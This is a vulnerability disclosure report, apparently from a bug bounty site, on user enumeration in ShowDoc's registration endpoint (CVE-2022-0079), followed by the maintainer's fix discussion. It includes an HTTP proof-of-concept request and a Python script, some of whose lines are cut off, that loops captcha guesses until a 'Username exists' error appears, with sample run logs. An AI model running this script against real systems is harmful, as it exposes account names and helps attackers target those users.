Generation of Error Message Containing Sensitive Information in star7th/showdoc

0

Valid Reported on Dec 30th 2021

Description

In the recent Showdoc application (925970e7 tag:v2.9.15) I have discovered possibility to enumerate registered users in the system.

Proof of Concept

Request:

```
POST /server/index.php?s=/api/user/register HTTP/1.1
Host: 172.17.0.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 70
Origin: http://172.17.0.3
DNT: 1
Connection: close
Referer: http://172.17.0.3/web/
Cookie: PHPSESSID=a82a65c77a8ee8e72b051eca720ba722; think_language=en-US

username=user1&password=password&confirm_password=password&v_code=3399
```

Response:

```
HTTP/1.1 200 OK
```

```
Server: nginx/1.20.2
Date: Thu, 30 Dec 2021 15:57:58 GMT
Content-Type: text/html; charset=UTF-8

Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 54

{"error_code":10101,"error_message":"Username exists"}
```

PoC.py

```
import logging
import requests

logging.basicConfig(format='%(asctime)s - %(levelname)s: %(message)s',
                    level=logging.INFO)

session = requests.session()

burp0_url = "http://172.17.0.3:80/server/index.php?s=/api/user/register"
burp0_cookies = {"think_language": "en-US", "PHPSESSID": "a56177ce8c65130a9
burp0_headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101
    "Accept": "application/json, text/plain, */*",
    "Content-Type": "application/x-www-form-urlencoded;charset=utf-8",
    "Origin": "http://172.17.0.3",
    "Referer": "http://172.17.0.3/web/"}
burp0_data = {"username": "user1", "password": "password", "confirm_passwor

logging.info('Started')

i = 1
while True:
    if i > 100000:
        break

    try:
        requests.get('http://172.17.0.3:80/server/index.php?s=/api/common/v
```

```
                    headers=burp0_headers,
                    cookies=burp0_cookies,
                    timeout=1,
                    # proxies={'http': '127.0.0.1:9090'}
                    )
    except e:
        pass

    r = requests.post(burp0_url,
                     headers=burp0_headers,
                     cookies=burp0_cookies,
                     data=burp0_data,
                     # proxies={'http': '127.0.0.1:9090'}
                     )

    if str(r.text).find('10101') >= 0:
        logging.info("{} try, returned {}".format(i, str(r.text)))
        break
    i = i+1

logging.info('Fnished')
```

Few sample outputs:

```
$ python po2.py
2021-12-30 18:22:20,649 - INFO: Started
2021-12-30 18:23:18,932 - INFO: 2789 try, returned {"error_code":10101,"err
2021-12-30 18:23:18,932 - INFO: Fnished
$ python po2.py
2021-12-30 18:24:47,949 - INFO: Started
2021-12-30 18:26:37,527 - INFO: 4951 try, returned {"error_code":10101,"err
2021-12-30 18:26:37,528 - INFO: Fnished
$ python po2.py
2021-12-30 18:28:21,855 - INFO: Started
2021-12-30 18:30:39,120 - INFO: 6103 try, returned {"error_code":10101,"err
2021-12-30 18:30:39,120 - INFO: Fnished
$ python po2.py
2021-12-30 18:31:34,435 - INFO: Started
```

```
2021-12-30 18:32:28,707 - INFO: 2458 try, returned {"error_code":10101,"err
2021-12-30 18:32:28,708 - INFO: Fnished
$ python po2.py

2021-12-30 18:25:09,698 - INFO: Started
2021-12-30 18:26:34,310 - INFO: 3692 try, returned {"error_code":10101,"err
2021-12-30 18:26:34,311 - INFO: Fnished
$ python po2.py
2021-12-30 18:26:47,521 - INFO: Started
2021-12-30 18:27:29,870 - INFO: 2069 try, returned {"error_code":10101,"err
2021-12-30 18:27:29,870 - INFO: Fnished
$ python po2.py
2021-12-30 18:28:41,181 - INFO: Started
2021-12-30 18:31:07,203 - INFO: 6492 try, returned {"error_code":10101,"err
2021-12-30 18:31:07,203 - INFO: Fnished
$ python po2.py
2021-12-30 18:31:29,856 - INFO: Started
2021-12-30 18:32:48,453 - INFO: 3727 try, returned {"error_code":10101,"err
2021-12-30 18:32:48,453 - INFO: Fnished
```

Impact

Not authorized attacker can enumerate registered accounts in the system which may help to perform other attacks against found users.

References

- https://owasp.org/www-community/Improper_Error_Handling

CVE
CVE-2022-0079
(Published)

Vulnerability Type
CWE-209: Generation of Error Message Containing Sensitive Information

Severity
Medium (5.3)

Visibility
Public

Status
Fixed

Found by

theworstcomrade
@theworstcomrade
unranked

Fixed by

star7th
@star7th
unranked

This report was seen 725 times.

We are processing your report and will contact the **star7th/showdoc** team within 24 hours.
a year ago

We have contacted a member of the **star7th/showdoc** team and are waiting to hear back
a year ago

star7th validated this vulnerability a year ago

theworstcomrade has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

star7th a year ago — Maintainer

I have updated the master branch code. The verification code component was replaced to increase the enumerated time cost. At present, it has also been updated to the official docker image.
However, it should be noted that under PHP version 7.2.5, the original verification code will continue to be used. At present, the official docker image is PHP version 7.4. Those who want to manually install in the old version of PHP will be left out for the time being. After all, this verification code problem is not very serious.

theworstcomrade a year ago — Researcher

@star7th
Thank You for Your response. For sure Your changes fixed problem with captcha reverse brute

force, but the main problem which I reported here is error message in UserController.class.php:66. It informs that user with provided username exists.

Like I wrote above, this information may be used by potential attackers to prepare other attacks for already known users.

In this case I'd change this message to `$this->sendError(10101,'register fail');` which does not give attackers any visible information about existing users.

star7th a year ago — Maintainer

However, in terms of product experience, when the user registration fails, it is determined that the user name should be informed that it already exists so that the user can register with a different name. Now a higher strength verification code component has been replaced, and the attacker cannot simply enumerate the user name. He can only try out a few limited names by hand. Personally, I think the risk is controllable.

theworstcomrade a year ago — Researcher

@star7th
I agree with Your argument that the risk is controllable. Security as well as life is the "art of compromise" :) so I have nothing to add here other than asking You to mark the report as fixed if you think so.

Thank You for Your cooperation

star7th marked this as fixed in **2.10.0** with commit **e43df0** a year ago

star7th has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖